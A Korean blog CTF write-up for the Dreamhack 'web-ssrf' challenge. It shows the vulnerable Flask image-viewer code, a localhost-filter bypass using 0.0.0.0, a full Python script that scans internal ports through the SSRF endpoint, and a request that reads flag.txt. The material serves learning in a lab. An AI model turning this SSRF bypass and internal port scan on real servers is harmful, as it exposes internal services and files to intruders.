[CTF] Dreamhack 문제 풀이: web ssrf

web-ssrf

목차

  1. SSRF
  2. Code
  3. Payload
    1. Scan Port
    2. Flag
  4. 참고

1. SSRF

SSRF란 서버 측 요청 위조 공격으로, 서버의 권한을 이용해 악의적인 요청을 전송하는 공격이다.

2. Code

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)

import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse


app = Flask(__name__)
app.secret_key = os.urandom(32)

# flag는 ./flag.txt에 존재
try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"

# index 페이지
@app.route("/")
def index():
    return render_template("index.html")

# /img_viewer는 GET, POST 방식
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    # GET일 때는
    if request.method == "GET":
        # 페이지 렌더링
        return render_template("img_viewer.html")
    # POST일 때는
    elif request.method == "POST":
        # url을 받아서
        url = request.form.get("url", "")
        # url을 6개의 구성 요소로 구분 -> scheme://netloc/path;parameters?query#fragment
        urlp = urlparse(url)
        # url[0]이 "/"일 때
        if url[0] == "/":
            # url을 로컬 호스트로 변경
            url = "http://localhost:8000" + url
        # urlp의 netloc 부분이 로컬 호스트일 경우
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            # error.png을 읽어옴.
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            # url로부터 content를 받아오는 것을 시도함
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            # 열리지 않을 때 error.png 열기
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

# local host와 port 알아내기

# localhost 설정
local_host = "127.0.0.1"
# local port 설정: 1500 ~ 1800
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)

def run_local_server():
    local_server.serve_forever()

threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)

img viewer를 통해 url을 입력 받고 있다.

  1. 입력 받은 url의 시작이 /일 경우에는 http://localhost:8000 뒤에 입력 받은 url을 연결시킨다.
  2. 입력 받은 url의 netloc 부분이 localhost, 127.0.0.1일 경우에는 에러 이미지가 뜬다.

그 외 나머지 입력에 대해서는 어떠한 검증도 하지 않고 있다. 2번째 경우를 우회하기 위해 0.0.0.0 을 사용한다. 이 주소를 이용해 서버가 자기 자원을 찾도록 할 것이다.

3. Payload

3.1. Scan Port

import base64
import csv
import time
from datetime import datetime, timezone
from urllib.parse import urljoin
from typing import Any

import requests
from bs4 import BeautifulSoup


def now_iso():
    return datetime.now(timezone.utc).isoformat()

def show_image_bytes(img_bytes: bytes) -> None:
    # 이미지 표시 옵션
    from io import BytesIO
    from PIL import Image
    import matplotlib.pyplot as plt
    import numpy as np

    image = Image.open(BytesIO(img_bytes))
    plt.figure()
    plt.imshow(np.asarray(image))
    plt.axis("off")
    plt.show()

def img_view(session: requests.Session, endpoint: str, target_url: str, timeout=10, show_image=False):
    """
    endpoint로 POST(url=target_url) -> 응답 HTML에서 <img src> 추출 -> 이미지 바이트 확보
    그리고 시간 측정/메타를 dict로 반환.
    show_image=True면 저장 없이 화면에 표시(시각화 패키지 필요).
    """
    t0 = time.perf_counter()

    row: dict[str, Any] = {
        "ttfb_ms": "", # POST 시작 → 헤더 수신까지(ms)
        "total_ms": "", # POST 시작 → HTML 바디 읽기 완료까지(ms)
        "payload_url": target_url,
        "status_code": "",
        "img_resolved_url": "", # <img src>가 URL이면 resolve된 최종 URL
        "img_get_status": "", # 이미지 GET의 상태코드(또는 빈 값)
        "mime": "", # data URI면 data:에서, URL이면 응답 헤더 Content-Type
        "img_body_bytes": "", # 최종 이미지 바이트 길이
        "error": "", # 예외가 나면 repr 문자열, 없으면 빈 문자열
    }

    try:
        # stream=True로 헤더 수신 시점과 바디 다운로드 완료 시점 분리
        # 1. img_viewer에 post 요청 (url=...)
        rp = session.post(endpoint, data={"url": target_url}, timeout=timeout, stream=True)
        t_headers = time.perf_counter()
        row["ttfb_ms"] = round((t_headers - t0) * 1000, 2)
        row["status_code"] = rp.status_code

        # HTML 필요하니 바디 읽기
        html = rp.text  # 여기서 body를 읽음(인코딩은 requests가 추정)
        t_done = time.perf_counter()
        row["total_ms"] = round((t_done - t0) * 1000, 2)

        # 응답 HTML에서 <img src> 추출
        soup = BeautifulSoup(html, "html.parser")
        tag = soup.find("img")
        if tag is None:
            raise RuntimeError("응답 HTML에서 <img> 태그를 찾지 못했습니다.")

        src_raw = tag.get("src")
        if not src_raw:
            raise RuntimeError("응답 HTML에서 <img src=...>를 찾지 못했습니다.")

        src = str(src_raw)
        
        # src가 data URI면 base64 디코드해서 이미지 바이트 확보
        if src.startswith("data:image/"):
            _, b64data = src.split(",", 1)
            img_bytes = base64.b64decode(b64data)
            row["img_body_bytes"] = len(img_bytes)
            row["mime"] = src.split(";", 1)[0].replace("data:", "")
        # URL이면 GET으로 이미지 바이트 확보
        else:
            img_url = urljoin(rp.url, src)
            row["img_resolved_url"] = img_url

            ir = session.get(img_url, timeout=timeout)
            row["img_get_status"] = ir.status_code
            row["mime"] = ir.headers.get("Content-Type", "")
            img_bytes = ir.content
            row["img_body_bytes"] = len(img_bytes)

        # (옵션) 이미지 화면 표시
        if show_image:
            show_image_bytes(img_bytes)

        return row

    except Exception as e:
        t_err = time.perf_counter()
        row["total_ms"] = round((t_err - t0) * 1000, 2)
        row["error"] = repr(e)
        return row

def main():
    endpoint = "http://host3.dreamhack.games:12945/img_viewer"
    base = "http://0.0.0.0:"

    out_csv = "img_view_timing.csv"
    fieldnames = [
        "ttfb_ms",
        "total_ms",
        "payload_url",
        "status_code",
        "img_resolved_url",
        "img_get_status",
        "mime",
        "img_body_bytes",
        "error",
    ]

    # 이미지를 보일 때만 show_image=True
    show_image = False

    # 요청/응답 타이밍 + 메타 정보를 csv로 저장
    with requests.Session() as s, open(out_csv, "w", newline="", encoding="utf-8") as f:
        w = csv.DictWriter(f, fieldnames=fieldnames)
        w.writeheader()

        for port in range(1500, 1801):
            target_url = base + f"{port}" + "/static/dream.png"
            row = img_view(s, endpoint, target_url, timeout=10, show_image=show_image)
            w.writerow(row)

            # 콘솔에 로그 출력
            print(port, row["status_code"], row["ttfb_ms"], row["total_ms"], row["error"][:80] if row["error"] else "")

    print(f"saved -> {out_csv}")


if __name__ == "__main__":
    main()

접속이 안 된다거나 → http status 접속 딜레이의 차이가 있다거나 → ttfb_ms(첫 응답 헤더를 받기까지 걸린 시간), total_ms(총 시간) 에서 결과를 찾을 것이라 예상했다. 500x612

port scan 결과 csv

예상 외로 img_body_bytes(이미지 바이트 크기)의 차이에서 port를 찾을 수 있었다. 바로 error.pngdream.png의 이미지 크기 차이였다.

500x169

찾은 port

3.2. Flag

Code를 보면 flag는 ./flag.txt 위치에 있다. http://0.0.0.0:[port]/flag.txt

500x252

F12로 img src 확인

이러한 결과를 얻을 수 있는데, 이것은 flag 값이 base64로 인코딩된 것이다.

500x505

base64로 디코딩한 결과

base64로 디코딩을 하게 되면 flag 를 얻을 수 있다.


참고

Comments

Newest Posts